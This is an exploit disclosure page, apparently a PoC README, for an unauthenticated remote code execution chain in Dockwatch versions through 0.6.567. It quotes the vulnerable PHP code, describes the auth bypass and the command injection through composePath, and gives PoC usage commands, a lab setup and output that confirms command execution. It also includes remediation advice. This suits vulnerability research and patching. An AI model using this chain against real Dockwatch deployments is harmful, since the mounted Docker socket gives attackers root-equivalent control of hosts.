Exploit for CVE-2026-58455

## https://sploitus.com/exploit?id=95C7431E-4F72-576F-BC08-274AD2697E6D
# CVE-2026-58455 — Dockwatch Unauthenticated RCE (auth bypass + command injection)

Proof-of-concept for **CVE-2026-58455**: unauthenticated remote code execution in
[Dockwatch](https://github.com/Notifiarr/dockwatch) (by Notifiarr), a self-hosted Docker
container management web UI. Affects all versions through **0.6.567**.

## Root cause (verified from source)

Three flaws chained together:

1. **Session flag set without auth** — `GET /includes/header.php` executes
   `$_SESSION['IN_DOCKWATCH'] = true;` for any visitor. The AJAX layer
   (`ajax/shared.php`) only checks this flag.
2. **Missing `exit()` after auth redirect** — `loader.php` sends a
   `Location: login.php` header when `$_SESSION['authenticated']` is false but does not
   terminate execution, so the rest of the request keeps running.
3. **OS command injection** — `ajax/compose.php` (`m=composePull`) builds a shell command
   with unsanitized input:
   ```php
   $cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
   $pull = $shell->exec($cmd . ' 2>&1');
   ```
   The output is reflected back in the HTTP response.

Chained: an unauthenticated remote attacker runs arbitrary OS commands as the web server
user inside the container. Typical deployments mount `/var/run/docker.sock` into the
container → equivalent to root on the host.

## Usage

```bash
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888            # defaults
```

Python 3 stdlib only.

## Lab (reproduce)

```bash
docker run -d --name dockwatch-lab -p 8888:80 \
  -v /var/run/docker.sock:/var/run/docker.sock \
  ghcr.io/notifiarr/dockwatch:v0.6.567
```

## Verified output

```
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) Dockwatch
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
    uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
```

## Remediation

Update Dockwatch to a version newer than 0.6.567. As mitigation, do not expose Dockwatch
to untrusted networks and remove the Docker socket bind if not required.

## Disclaimer

For authorized security research and lab use only.